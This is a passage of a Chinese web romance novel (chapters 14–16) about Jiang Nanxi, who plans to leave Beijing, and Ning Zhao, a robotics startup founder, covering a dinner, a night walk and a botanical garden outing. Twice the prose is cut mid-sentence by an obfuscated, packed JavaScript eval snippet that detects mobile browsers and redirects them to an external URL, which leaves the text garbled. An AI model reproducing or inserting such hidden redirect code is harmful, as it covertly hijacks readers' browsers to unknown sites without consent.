姜南西不确定失败的恋爱和枯燥的生活哪个对性格造影响更大,分别又影响了多少。 至少从那之后,社会磨人心性,她要求自己极度独立,不能依赖别人,不主动提出要求,也更注重一件事的结果。 害怕在一段关系中失去自由和控制,所以把大部分的人际关系设置成仅三天可见。 “我就是觉得......”姜南西语气温吞,她缓缓吸了一口气,“明知道结果不会很好的一件事,为什么一开始还要去浪费时间。” 先不说没有想法,就算有,还剩不到三个月她就要离开,及时行乐是洒脱,但她不是一个只享受过程就忽略结果的人。 她悲观的思想已经形成,没有结果就是没有意义。 “可是......”陈笛总觉得哪里不对,“如果不是想过开始,你又怎么会去想结果呢?” 如果不是想要过河,又怎么会担心走到一半掉入河中的风险。 话音刚落,姜南西的心跳骤然停了下。 事情比她想的要严重。 陈笛的话点醒了她,不仅不应该再想,更应该及时止损。 她扯了扯嘴角:“还剩不到三个月我就要离开北京,说这些都没意义。” 对朋友的不舍远大过吃瓜的好奇,陈笛更用力地搂紧她,苦着张脸说:“橙子,你真的不回来了吗?” 姜南西没有说话,抬手轻轻摸了摸她的脸颊,以示无声的安慰。 依依不舍之际,何星屿拿过来三杯颜色清新的饮料:“金鱼气泡水,三里屯特色,尝尝。” 澄澈蓝色犹如静谧深海,加满一整杯的透明冰块,点缀几颗橘红色的软糖,好似几条小鱼在自由自在地浮游,冰冰凉凉的柑橘味很消暑。 工作人员捧着陈笛刚刚下单的相机跟在后面,向几人礼貌微笑过后,最后看向陈笛:“陈小姐,您的相机已经好了。” “来来来!”拿到新相机,陈笛一扫刚才的阴霾,“新相机的第一张照片当然要和朋友一起拍啦!” 她请工作人员帮三人按下合影。 三人挤在窄小的沙发上凹造型。 姜南西坐在中间,脸上带着淡淡笑意,向镜头展示这杯满是夏天的气泡水,陈笛和何星屿分坐两侧,表情一个赛一个的搞怪。 工作人员倒数三二一,开拍的前一秒陈笛毫无预兆地凑近,轻轻在姜南西耳畔说了句什么,姜南西听完突然笑意全无,整个人错愕到嘴唇微张。 相机记录下她这懵怔失神的表情。 陈笛说:“橙子,我希望你像小鱼一样自由。” 14. 酸角汁 姜南西将这张照片发到了朋友圈,配了一个可爱小鱼的emoji。 然后再回的宁朝的消息,几个小时前,宁朝问她晚上什么时候方便。 姜橙子:【你晚上有空吗,我请你吃个饭吧。】 回得很快:【有空。】 宁朝:【你想吃什么?】 这个回复让姜南西联想到前面几次,宁朝也是这样,无论事情大小,从来都把主动权交给她,认真倾听并尊重她的选择,乃至有些特别幼稚的事情,宁朝也愿意陪她一起幼稚。 无形中让姜南西产生一种错觉,似乎在他面前,自己无论怎样都能被接纳。 但很快她就把这归结于宁朝向下兼容的高情商。 社交能力远比考试难得多,但在他的身上浑然天成,没有任何障碍,这是一种可遇而不可求的天赋。 她自嘲笑笑,几面之缘而已,未免想太多。 同时她又想得很清楚,有些事从一顿饭开始,也应该从一顿饭结束。 这次,姜南西没有纠结。 姜橙子:【能吃辣吗?】 宁朝:【能。】 姜橙子:【七点半,吃厂见。】 发完这句,姜南西退出微信,对话框重回沉默。 坐在电脑前的宁朝,看着屏幕上有来有往的对话,陷入了沉思。 短短几个小时,从玩笑打趣到公事公办,姜南西说话的方式实在是天差地别,很难让人不去想这背后发生了什么。 向来干脆利落的宁朝很少有这样手足无措的时刻,他深知姜南西有很强的边界感,所以不敢贸然问她是不是遇到了什么不开心的事。 好像身份调换,这次小心翼翼的变成了宁朝。 与此同时,办公室外。 几个年轻人借着讨论工作方案的理由,一窝蜂凑在距离宁朝办公室最近的工位,个个眼神闪烁,通过玻璃偷偷打量他的脸色。 似有所感,宁朝朝这边投来凌厉一眼。 几人像是突然受惊的小鸡,慌乱收回窥探的目光,一窝蜂缩进围着的这张办公桌,叽叽喳喳一片,开始假模假式地讨论工作。 “这款产品关系着公司年度营收目标的76.8%,”市场部负责人王廷章看向怀里的平板,数据报表映射成他镜片上的冰冷蓝光,“一旦出现问题,必须高度重视,阅工,研发部能否快速锁定故障源?” 阅川双手环胸,略显稚嫩的娃娃脸上一派老成:“情感模块出现显著异常波动,需要深入排查内嵌的情感认知算法,看看参数阈值是否溢出。” “不错。”周时懿神情严肃,他统筹产品的交互设计,“物理界面一度失灵,怀疑是情感状态监测机制出现故障,系统无法及时更新交互内容。” 杨韫脸色说不上来的凝重,她是核心研发团队里的唯一一位女性,智商能力都不容小觑。 “根据集成后台的日志显示,上午程序运行良好,直到十分钟前版本迭代,从外界交互到界面更新,时间只有0.3秒,可就是这0.3秒的真空期,”她故弄玄虚,推了下高挺鼻梁上薄薄的镜片,“让我们丢失了整整7帧的情感数据。” “所以——”阅川微微眯起眼,眼底促狭一闪而过,“有没有人敢黑进老大的电脑,窃取一下底层代码。” 上一秒还热火朝天的讨论瞬间归于死寂,长期合作让几人仅一个眼神就达成共识,刹那间,八道目光如同八道利剑,威迫射向这张办公桌的主人。 对于集体讨论老板感情状态的行为,方续素来秉持不参与不讨论但旁听的策略,但顶不住几人的威逼利诱,他不得不出卖有史以来的第一条情报:“那个,老大这几天让我整理尼奥的所有源代码。” 闻言,几人皆是一滞。 迷你宠物机器小狗尼奥,是他们的第一款产品,不仅是公司创业从零到一的里程碑,更是拯救公司于水深火热的英雄产品,对整个公司,对整个研发团队,都意义非凡而重大。 虽然尼奥只有最单纯的跟随互动功能,没有现下那些眼花缭乱的AI功能,也不会分析人类情感,但胜在实在小巧可爱,收获了不少客户的喜欢。 只可惜后来因为合作的生产商倒闭,而其他有意接手的生产商又因技术限制,达不到尼奥所需的技术标准,该款产品便只能停产,一尼难求。 加上市场潮流转型到高性能服务机器人的研发,宠物机器被逐步淘汰,团队一致决定宁愿研发新品,也不再对尼奥进行更新升级。 因为他们觉得,接入过多AI,会让尼奥变成一个只由硅基芯片操纵的提线木偶。 有些初心,不该被程序量化。 “难道?”周时懿紧张不已,忙看向身边的王彦章,“咱公司账务又出问题了?” 上回宁朝索要代码,是公司融资进展不顺,资金链即将断裂,某科技公司想趁机以极低价格收购尼奥的技术所有权。 那段时间宁朝压力大到彻夜失眠,经常加班到凌晨出去一趟,然后又接着回来加班,没人知道他去干嘛。 而宁朝要代码也不是为了签字,只是警醒。 他不服输,也敢赌,拿个人名下所有资产跟银行做抵押,就凭着这么一股劲撑下去,直到尼奥靠转圈卖萌在展会上一炮而红,吸引了国内外的多笔订单,让公司硬生生撑到了下一轮融资。 于是团队感恩戴德,尊其一声为长公主。 宁朝叫它狗蛋。 “不是。”王廷章给众人喂下一颗定心丸,“季度收益稳步增长,账面余额可以开除在座各位八百遍。” 一概人等齐齐真诚祈祷:“接裁神。” “那是为什么呢?”阅川快速瞟眼里头的人,脸色已经恢复如常,但周身气场依然低沉。 几人再次看回弱小的方续。 “之前有天下午开会之前......”方续吞吐两秒,怕自己再不说会被这些眼神生吞活剥,“他问我在哪能看《美少女战士》全集。” 王廷章:“?” 阅川:“?” 周时懿:“?” 杨韫:“?” 都是高智商人才,用膝盖想也知道发生什么了。 寂静半晌,阅川悲痛难当道:“我们的长公主这就要被迫远嫁和亲了吗?” · 晚上七点十五,吃厂。 这是一家坐落在798里的云南特色餐厅,店内装修融合工业风和云南风情,粗犷的夹缝里流淌着细腻的诗意。 798离恒通商务园近,回家也方便,姜南西考虑到宁朝开车所以选在这里。 这会儿人还没到,姜南西点了杯酸角汁,边喝边等。 表面平和看不出什么,实则内心却翻涌一片混乱。 她没有像宁朝那样好的口才,不能信手拈来那些漂亮话,所以对于待会儿,要怎么用一种委婉而舒服的方式,告诉对方自己不能帮他买早餐了这件事,姜南西显得尤为仿徨。 而且记着一定要把钱还回去。 编个理由?搜肠刮肚也没有让人信服的理由。 毕竟人家才刚刚陪她去过国博,两人聊得也还算投缘。 话说回来,这完全是她自身的毛病,和对方无关,然而交流本质上就是一种失真行为,稍有不慎,就会因为人当时的语气、措辞或是神态而背离原意。 希望对方理解自己,可理解本身具有有限性,姜南西没有办法向任何人解释她的内耗和较劲,正如她自己也不能彻底理解自己。 正想着,赶来的宁朝坐到对面。 姜南西握着玻璃杯的手无意识轻颤,浅褐色液体在杯壁晃出一圈细小的弧度,仿佛是她此刻纷乱叠荡的愁绪。 宁朝当没看出她的反常,只把装着多肉的纸袋递给她。 隔着桌子,姜南西礼貌地用双手接过纸袋,又在宁朝的注视下,打开朝里看了眼,发现不仅有一盆多肉,还有几个什刹海邮政信柜的冰箱贴。 这几个都是断货款,想要一次性买齐很难。 她抬头问:“怎么还有冰箱贴?” 宁朝语气坦然,半开玩笑道:“那我不能比老头表现还差啊。” 一如既往的直接,收到礼物姜南西是高兴的,只是这高兴如履薄冰,像是包裹着糖霜的毒药,她不知道该怎么回答,只能淡淡道:“谢谢。” 然后生硬转开话题:“你看看想吃什么?” 宁朝不动声色抬眸看她一眼:“有什么推荐吗?” “话梅排骨,木瓜鲈鱼,建水豆腐,都是他们家的特色菜。”姜南西同样看手机,尽量不抬头,偶尔不小心触碰到宁朝的视线,就不自然地轻轻一避。 一顿饭吃得难言又平淡,空气像是被抽干了生气。 气氛怪异到姜南西好几次想鼓起勇气说话,话到嘴边又仿佛化作一团浸水的棉花,梗在喉咙深处,吐不出,咽不下。 为数不多的几句话是宁朝问的。 他问:“今天干了什么?” “陪朋友买了个新相机,然后逛了逛三里屯。”姜南西没什么情绪地回答,隔两秒,她问:“你呢?” 宁朝说:“开会。” “周末也加班?” “赶上个着急的项目。”说完,他又解释,立志维持良心老板的人设:“算两倍工资。” 姜南西笑笑没有说话。 宁朝又问:“朋友圈那个照片,是用你朋友的新相机拍的?” 想到陈笛跟何星屿,姜南西嘴角上扬:“我在北京唯二的两个朋友。” 宁朝眉头一蹙,倍感奇怪又认真地问:“我不能算第三个吗?” 姜南西脱口而出:“如果我们能更早认识的话。” 话音刚落,姜南西被自己被吓了一跳。 她还不习惯这样直白地表露想法,按往常,她大概会笑一下,然后半真半假地说:“您当然算。” 现在,她也只能笑一下,从尴尬里硬挤出来的晦涩笑意。 反观宁朝,倒没什么太大反应,只是眼神变得有些深,看不出什么意思,不过须臾,他的脸上就转而浮现出一丝庆幸。 “现在也不晚。”他举起酸角汁碰了碰姜南西的,笑容如往常般明朗,“你好,我叫宁朝,很高兴认识你。” 望着他,姜南西有一秒的恍惚,感觉眼前这一秒如同一滴悬而未坠的水,拉扯出漫长而缓慢的空间。 在这个空间里,她清晰地察觉,有什么未知的渴望和悸动在悄然生长。 世间的一切在宁朝眼里,都是好的,都是发着光的,他大大方方表达自己,永远朝气蓬勃,永远热烈,永远用最饱满的生命力追逐生活的每个瞬间。 和他待在一起,麻木的生命也能被注入新鲜的血液,长出新的棱角。 姜南西意识到两人的差别。 宁朝是那种高能量的人,那她就是很低能量的人,看什么都没意思,干什么都累。 他会在闲暇时进行各式各样的户外活动,而她只想躺着。 蓦然,姜南西笑了下,举起玻璃杯,表情有一瞬像那天在国博一样的愉快:“谢谢您。” 宁朝不知道她为什么说谢谢,也没有问。 一顿饭结束,姜南西想说的话还没说。 宁朝看眼附近堵塞的路况,开车是不现实了,他收起手机,询问神游一整晚的姜南西:“堵车,开不回去,一起走走吗?” 走回去比开车要快,也能再多出半小时。 姜南西点了点头说好。 两人沿着街道散步,城市的灯光在喧嚣中影影绰绰,不知名的花朵释放出清香,时浓时淡,有一阵没一阵地向前延伸,没有尽头。 酒仙桥路北路和酒仙桥路交叉口无愧于北京top5拥堵路口,又挨着机场高速,故而这个点仍然水泄不通。 这个路口错综复 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765264|174551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杂,交织着无数个忙碌的人生。 车流以时速几公里的速度缓慢挪动,外卖电动车见缝插针想钻到最前排,好似只要快一秒,就能在生存游戏里多一分胜算,街道上人流如织,但个个都低着头,眼睛紧紧盯着屏幕,对外界的一切漠不关心。 彼此陌生又一无所知的人群中,姜南西仰起头,望向对面那盏孤零零的高杆路灯。 明亮而笔直的光束直直打在她的脸上,像是城市睁开的一只眼睛,居高临下地,机械地,冷冷地注视着城市里的一切繁华与落寞。 红灯倒数,催促着她做出决定,姜南西用力抿了下唇正要说话,宁朝却比她先开口:“姜南西。” “嗯?”姜南西回过头,没意识到自己松了口气。 街道很吵,而宁朝的目光很平静,语态也平和:“你今天是不是不开心?” 问题出乎姜南西的意料,转念一想打直球就是宁朝的风格,可能她总是心不在焉,让人想忽视都难。 她努力压抑住自己的情绪,低头呼出一口气。 然后抬起。 “我只是不太喜欢那盏路灯。”她下巴微抬,示意宁朝看过去,“这条路是我回家的必经之路,每次凌晨加完班走到这里,就感觉这条街道特别大,特别空旷,也特别......” 姜南西找不到合适的形容词。 她懊恼地轻皱下眉,停了停,又继续说:“每到夜深人静,我一个人站在空荡荡的街道上的时候,那盏灯就显得特别亮,特别扎眼,会把我平日里不愿意承认的平庸,渺小和碌碌无为,暴露的一干二净,然后那时候我就觉得,我的梦想和努力都微不足道。” 站在她身边的宁朝一动不动,没有立刻接话,似乎在思考什么。 “可是回头想想,”姜南西语调平平淡淡,没有锋芒,像被长久岁月磨平棱角的鹅卵石,“换个角度去看,我的平庸,渺小和碌碌无为,在茫茫人海里又算得了什么呢?对吧。” “你看周围的人群,大家都在为生活奔波,因为这里是北京,大把大把的人才,如果不往前走就会落后。但是.....在很长一段时间里,我都想不明白,为什么我要这么匆忙,有时候甚至站在这,突然会想,我为什么要站在陌生的车辆中间,为什么一定要往前走往前看。” 吃饭就吃饭,走路就走路,再也不能为微小的东西而感动。灵魂在脚底生了根,被一种叫忍受的东西紧紧绞杀,日复一日,人生只剩和时间作斗争,活得像个暮气沉沉的空心人,找不到生活的意义。 “可是没办法。”她笑着看向宁朝,伸出两根手指,先隔空点点自己眼睛,又点点前方:“眼睛只能往前看。” “可能这也是我不喜欢北京的原因吧。” 不涉及生存和现实议题的北京是美好的,每一处建筑,每一棵树木,甚至每一块地砖里都承载着千万张面孔理想主义的梦。 可这里太拥挤了,她讨厌被反反复复淹没。 夜色里,宁朝眉目清晰,只是眉目中惯有的温和消失了,有什么更深重的东西取而代之,但姜南西无心去看。 表达很难,像要从一团凌乱纠缠的毛线中解开线头,而无论怎么解都越缠越死,索性最后直接用一把剪刀绞开。 姜南西不奢求宁朝真能从这番话中听懂什么,只是像枯燥的岁月抽走她的筋骨那样,从灵魂最深处,剖开一个真实的姜南西。 平凡,胆小,敏感,麻木,同时身心俱疲。 但她没有怨怼,时光如洪流,裹挟着众生奔涌向前,有的人在时间的洗礼下闪闪发光,有的人黯然失色锈迹斑驳,而无论如何,这都是时间赠予她的模样。 也谈不上喜欢,因为在冗长的安静里,学会了自恰,将心性里的最后一点脆弱和期待尘封起来。 但凡生出半点侥幸和任性,就毫不留情地抹杀。 正如她现在做的这一切, “有点矫情了哈。”姜南西绽开一个笑容,眼尾的落寞来不及收回,她摸了摸鼻子,因为这些话后知后觉感到有些难堪。 但是不在意了,因为在她的设想里,这是两人最后一次交集。 铺垫到这里,气氛早已不按所预设地那样发展,只是想到哪讲到哪,姜南西就顺势说出后面的话。 “我是想说......” “姜南西。”宁朝语色低沉,截住了她的后半句。 姜南西不明就里地看向他,瞳孔映光,眼底宁朝的倒影在微微颤动。 看不懂他的神情,姜南西不懂他为什么看上去有些急切,像在怕来不及阻止什么。 “明天天气很好。”宁朝突然笑了,望向她的眼睛里流光煜煜,“你有空吗?” 姜南西心猛然漏跳一拍。 街道上,所有的声音和光影变得虚幻,隐约知道对面的绿灯亮了,但是根本看不见,只能听到车流的引擎轰鸣远去,周围的人群陆续向前走动,漠不关己地他们甩在身后。 夜风暖融融的,但是不确定是不是真的有风,只是耳边感到痒。 姜南西不知道怎么回答。 没关系。 宁朝会主动说话。 “也许你说的没错,我天生就是一个冒险家。”宁朝的视线落在姜南西的脸上,浸染了温柔的目光,化作一片辽阔又充满力量的海洋,静静地、稳稳地接住她所有表现出来的样子,包括现在。 也接住那一秒。 水滴不受控地坠入深海,漾开细细的,潮湿的,蓬满整个胸腔的酸胀涟漪。 在他身后,那些刺眼的灯光迅速如潮汐般退去。 此刻,姜南西终于看清,她所有反复拉扯的拧巴,犹豫和顾虑的根源。 “所以我想跟你一起看看。” 宁朝垂眸看她,时间在他眼中无限拉长,好像有无数相似的瞬间在这一秒重合,“你眼中的北京和我生活的北京,到底有什么不一样。” 15. 橙C美式 第二天,顺理成章的,姜南西顶着两个大大的黑眼圈去送小朋友。 姜南西自以为隐藏的不错,但瞒不过孩子们未经污染的大眼睛,小家伙们一个接一个地看向不似往日那样活泼的小姜老师。 那场景,远远看去像是在草地上的一群小花朵,争前恐后地仰起头,在早晨的阳光里,脑袋摇啊摇的,特别可爱。 尤其七块五,上了校车忽然又折返回来,挺着浑圆的小肚子站到姜南西面前。 “小姜老师。”他小小的脸上满是严肃,很担心的口吻,“你心里也长草了吗?” 小朋友的语言系统真奇妙。 姜南西疑惑地“啊”了声,她蹲下来,与七块五的视线平齐:“为什么这么说?” 七块五说:“因为我妈妈说,她不高兴的时候心里就会长满杂草,眼睛也会变得和你一样。”他伸出手碰了碰姜南西眼下的那片青黑,“可是心里长草,为什么眼睛下面也会有泥巴?” 孩子的世界很简单,且富有童真的想象力,看什么都没有烦恼,这是世界送给每个孩子的新手保护期。 在孩子面前姜南西无需绞尽脑汁,她眼珠一转,故作认真地回答:“因为先有了泥巴才长出来的小草呀。” 七块五坚定道:“那应该先铲泥巴。” 姜南西被他的童言童语逗笑,轻轻刮下他的鼻子:“那你能不能告诉我,泥巴应该怎么铲呀?” 七块五歪着脑袋想了下,片刻后,他脆生生答道:“用铲子就可以铲泥巴,塑料的有,铁的也有。” 姜南西一怔,有什么东西在心头重重砸下。 直到幼儿园老师把七块五带走,校车稳稳开向前方,姜南西还呆呆站在斑驳的树荫下,眼神空洞地思考那个问题。 用铲子就可以铲泥巴。 她有一点儿懂,但又不是特别懂。 七点之后的太阳慢慢轻盈,人来,人往,公交车进站又很快滑走,碾过一地簌簌的槐花,蝉鸣没完没了,红绿灯分秒不差地跳动,北京按着既定规律开始新的一天。 姜南西没想明白,干脆站在路边,晒了十分钟的太阳。 不远处,车里,宁朝凝眸看她晒了十分钟的太阳。 她闭着眼,仰头,任由阳光洋洋洒洒,浑身金灿灿暖洋洋,像一株刚学会发芽的小树苗。 微风吹过去,摇她身后并不存在的叶子。 晒完太阳,姜南西朝周围看了几眼,随后悻悻准备离开,宁朝叫住她:“姜橙子。” 姜南西背脊一僵,缓缓转过身,看见宁朝从车里下来,不是他之前的那辆。 隔着大片日光,她的目光落在他身上:“你换车啦?” 宁朝说:“租的。” “难怪。”姜南西小声嘟囔了声。 “什么?”宁朝没听清。 姜南西立马摇摇头:“没什么。” 话落,宁朝已经看向她手里的早餐:“有我的吗?” “......”姜南西顿了一下,“应该吧。” 去买早餐的时候,摊主早把她的脸认成熟客,问也没问直接拿了老几样给她,后面排着十几号人,怕耽误别人和店主的时间,姜南西只好默默付钱。 所以啊,人生有些时刻很难预料。 就像她摇摆不定的时候,总有这样那样的情况催着她作出决定。 宁朝接住那份差点不应该的早餐,却没像平时那样直接离开,而是低头看着她的鞋:“这鞋不行,你得重新换双运动鞋。” “你......”姜南西支吾半天,泄出一口不得已的气儿,“真要看啊。”她就当他随口说了句哄人的话,没放心上,也没想过出门,就随便蹬了双休闲鞋。 宁朝一挑眉梢嗯了声,口吻势在必得:“我昨天邀请你了,你没拒绝,所以今天得听我的。” 姜南西嘴唇翕动,无声嗫嚅还想说什么,宁朝则姿态坦荡,不由分说打断她的犹豫:“二十分钟,我等你。” 姜南西在客厅沙发上坐了十四分钟。 除去上楼用去的三分钟,她还剩最后的三分钟。 她从没做过这种以小博大的决定,更别说完全不知道宁朝口中的邀请到底是什么。 但她仍旧感激宁朝,以换鞋的名义,把最终的决定权交到她手里。 去,或许是片新天地。 不去,就还继续缩在一亩三分地。 无非想不想。 想不想呢? 客厅采光不好,不开灯的时候几乎全黑,只剩厨房一点飘忽不定的微光,也静,静得像一室浓稠的黄昏,把她往更深处引,引到樊笼旧壳的更深处,死死地困起来。 死去吧! 姜南西突然站起来,大脑空白,完全凭着一股劲支配身体,换鞋,拿包,开门,然后急步跨向电梯,上班高峰期电梯正处繁忙。 二十分钟已经超时三分钟,姜南西不管不顾快速奔向楼梯。 姜南西从不否认自己是个怂货。 但怂货偶尔也有叛逆期,心理学叫它禁果效应,而人们更愿意把这种品格称之为坚韧。 或许她自己都没有意识到,在长期压抑的让人喘不过气的生活中,除去活得像一潭死水,她没有堕落和崩溃,也没有直接屈服摆烂,而是脚踏实地干成了一件又一件的事,克服了一个又一个的困难,尽管她只觉得这是工作和责任,但是一路走来,身后已是万水千山。 即便现在要对抗的,是她自身的意志。 意识越要让她留下,她就越是要出去看一看。 她的脚步没有任何迟疑跨过一个又一个台阶,心脏狂跳,仿佛她的人生中,第一次有了这么勇敢的时刻。 去爱,去勇敢,去生活。 去用生活重塑生活。 姜南西如同一只挣脱牢笼的飞鸟,在小区的道路上大步狂奔,跑动带起炽热的风,烈烈掠过她的耳畔,把那些纠结,烦恼和害怕全部抛之脑后,她感到无比自由,好像成功违抗了某种教条的规训。 哪怕只有一秒,生命在这个夏日,终于肆意盛开。 跑到约定的地方时,心血来潮激起的力气已经全部耗尽,姜南西气喘吁吁地用双手撑着膝盖,提不起一点劲儿去看宁朝还在不在。 只能投去累极之后的一点涣散了的余光。 好像不在? 在不在都无所谓了,姜南西想。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765265|174551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>不在是他的损失。 买完咖啡回来的宁朝看见姜南西杵在马路上,弯着腰似乎在大喘气,他不明真相地走过去,单膝下蹲在她面前,偏头看着她的脸问:“你跑这么急干什么?” 姜南西转起脸看他,咽了下口水,又喘了好几口气说:“你不是就等我二十分钟吗?” 宁朝愣了愣,而后没忍住笑:“姜南西,你知不知道听话要听重点。” 姜南西直起身,视线自上而下:“什么重点?” “当然是我等你。”宁朝跟着站起来,“跟时间没关系,只是如果你二十分钟内下来的话,我们不会堵车。” “是吗?”姜南西笑了下,她胆儿大了,“那我要是不下来呢?” “接着等呗。”宁朝说。 姜南西抬起头,他正看着她。 “放轻松点儿,姜橙子。”宁朝单手潇洒揣进裤兜,身形修长,绚烂的阳光照出着他的意气风发,每一寸轮廓都带着漫不经心,又让人无比心安,“我会总是多等你一会儿的。” 云朵随风飘动,缝隙里的天光由明转暗又彻底大亮。 宁朝的眼睛在太阳下格外地亮,眼神跟任何时候都不一样,静静注视着姜南西。 “啰嗦。” 姜南西还是不自然地后退一步,她别开目光,耳尖被阳光晒得有一点热,不过面上还是很淡定。 她盯着宁朝手里的双杯咖啡袋,明知故问道:“有我的吗?” 当然有。 买咖啡的时候店员问他要什么,宁朝平时只喝冰美式,提神醒脑,工作时来一杯,有种忙死了给自己下点药好快点上路的疯感。 而至于姜南西,宁朝的目光在整排的饮品单上来回扫了几遍,最后选择了——橙C美式。 从小到大,对待工作和生活宁朝都沉稳自信,可今天,他也情不自禁地忐忑,像个青涩的毛头小子。 他不确定这场蓄谋已久的邀请,能不能让姜南西的想法作出改变,哪怕只有一点点,从那个自我封锁的牢笼里,往前迈出小小的一步。 他也没有自信到确定有那个能力,让今天成为姜南西记忆里程碑式的节点。 但他真心希望。 如果今后再遇到低谷,姜南西不要再灰心,而是能回想起今天吉光片羽的瞬间,有个人给她买过一杯和她名字很像的咖啡,在这个北京刚刚开始的夏天,竭尽所能,带她寻找生活的新的力量。 最好记得那个人,叫宁朝。 长得还挺帅。 “没有。”但既然她这么问,宁朝就起了坏心要逗她。 他拎起咖啡往路边车辆那儿走,悠悠道:“我一个人喝两杯。” 姜南西跟在后面,嘴里忿忿:“你晚上必睡不着。” 宁朝不屑一顾:“你睡得着你黑眼圈斗大。” “我那是泥巴!”姜南西大声纠正,自豪地说:“黑眼圈是心灵净土的泥巴,幼儿园小朋友都这么说。” 宁朝好笑道:“人家都骗小孩儿,你反过来被小孩儿骗。” 姜南西摇头深表同情:“你不可爱了。” “你可爱我也一个人喝两杯。” “周扒皮!” 16. 蜂蜜水 今天的第一站是国家植物园。 到时正艳阳高照,好在不热,清风徐徐,只是云层稀薄没有遮蔽,阳光在每片叶子上都烙下光斑,姜南西后悔拿的不是那个装着墨镜的包。 为了方便,姜南西随手将头发挽成低马尾,整理碎发时,宁朝从后座拿过纸袋,从中掏出一顶棒球帽扣她脑袋上:“凑合戴下。” 姜南西抬头,眼神在透过化妆镜看见帽子样式时,从茫然变得惊喜,甚至有些不可思议。 她问宁朝:“这是你的帽子?” “新的。”宁朝低头给两人预约门票,修长手指点击屏幕,“前几天陪我姐去买东西,商场做活动买一送一,就顺手买了。” 处于激动当中,姜南西没有细想他为什么要解释的这么清楚。 “但是你知道吗宁朝!”姜南西双手扶着头上的帽子,眼里闪光,“我之前丢过一顶棒球帽,跟这个一模一样!” 看她一脸雀跃,宁朝也跟着笑:“那正好,送你。”接着,他自然而然道,“身份证号给我。” 姜南西一边给他发身份证号,一边回忆过去:“那顶帽子是我大学的时候,用赚到的第一笔兼职工资买的呢,特别喜欢,戴了好多年,不过有一回出差不小心落在机场了。” “没试着找吗?”收到身份证号,宁朝没再继续填,停下来看着她的眼睛,认真听她讲话。 “说起来也不算丢。”姜南西努下嘴巴,“其实当时我记得是落在了安检口,但距离登机只剩二十分钟,回去找很可能会误机,就只能放弃了。” 她塌下肩膀,沧桑总结:“赶路要紧。” 大概是看她真舍不得那顶帽子,宁朝转过来:“你把眼睛闭上。” 姜南西呆愣愣盯他:“干嘛?” “你闭眼就知道了。”宁朝讳莫如深的语气,挑眉示意:“给你展示个魔法。” 纵然他这么说,姜南西还是没有乖觉听话,而是静静盯他几秒,突然身体往前探了几分,帽子下的眼睛在宁朝脸上打了个转,洞悉一切的口吻:“你该不会是想玩什么时空穿梭的小把戏,然后说这就是我丢的那一顶帽子吧?” 宁朝:“......” 恰逢云朵过境,日光一寸寸退到遥远的葱郁山林,直至躲起来消失不见。 距离拉近,视线交汇相遇,宁朝的大脑原地尴尬宕机。 时空穿梭能回到他说那句话之前吗? “下车吧。”宁朝忙不迭解安全带,他推开车门,长腿一迈利落下车,“你说的对,赶路要紧。” 难得能看见宁朝落荒而逃,姜南西直接瘫在座椅上笑成一团,乐得连身上的安全带都忘了解。 “咔哒”一声轻响,副驾驶车门从外被打开。 宁朝单手撑在车门上方,微微弯腰,他垂眸看向车里像是被点中笑穴的人,忍不住蹙起眉头,但声音轻柔不是责备:“有这么好笑吗?” “不是的宁总。”姜南西如是说,她坐直身体直视宁朝,目光灼灼:“是我真的很需要这顶帽子。” 密布的阴云豁然开朗,金色光芒从云层的裂隙中汹涌而出,如潮水决堤,势不可挡。 大半身体都被宁朝的身影罩住,就在那一小截的阳光里,姜南西坐在车上,头一歪,对着他笑,漂亮的眼睛高兴弯起,像一只惬意窝在舒适区里,慵懒又满足地晒着太阳的小猫。 姜南西笑意盈盈,眼光潋滟拢进这漫天晴:“谢谢你。” 宁朝看着她的眼睛,清醒又纵容地失神一瞬。 片刻后,他敛回目光,默不作声地更低俯身,手指精准按下副驾驶锁扣,为姜南西解开安全带。 讲真的,今天的阳光,比考上清华那天老爷子的红包还他妈耀眼。 · 国家植物园由南园和北园两个园区组成,园内植物丰富,其中不乏许多珍稀物种,不仅是休闲游览自然的好去处,更是植物迁地保护和植物科学研究的重要平台。 也大,用陈笛之前说过的话形容:“死里边儿都没人知道。” 姜南西把这话说给宁朝听,宁朝说哪儿能啊,“植物园里有卧佛寺,死里边儿也有人超度。” 卧佛寺里人也不少,许多求职的人上这儿来接offer。 不过到底没去卧佛寺,因为植物园太大,短时间内逛不完,两人选了人流量相对较少的南区。 时间尚早,植物园里幽谧又安然,高大的水杉茂密生长,草木气息携着花香,丝丝缕缕地钻入肺腑,令人不自觉想要沉溺在自然的怀抱。 和站在路边晒太阳不同,这里没有车流的噪音轰鸣人的心脏,姜南西感觉自己和自然达成一种默契的联结,丧失的感知力逐渐被找了回来。 隐约中,好像能听见树木在抽芽的声音,鲜花冲破花苞,和飞鸟煽动翅膀时气流微小的颤动。 是朦胧的,无法用语言定义的,不能用外力去干涉的,最原始的美。 这种感觉太好了。 不用急着赶路,只需用心感知微小和细节,一切都非常美妙。 心灵经受洗礼后的姜南西,满目清明,她问宁朝:“这也是你第一次来植物园?” 宁朝目光缓缓上移,同样看向前面的水杉林:“这我小时候第二个家。” “常来?” “我小的时候,这里还不叫国家植物园。”宁朝往前走了一步,视线又空又远,落在道路尽头,像是透过岁月看自己的童年时光,“我奶奶之前在附近的植物研究所上班,所以经常趁着工作,带我到这一片来转悠。” 姜南西问:“那时候这里跟现在一样吗?” 宁朝笑:“具体记不清了。” 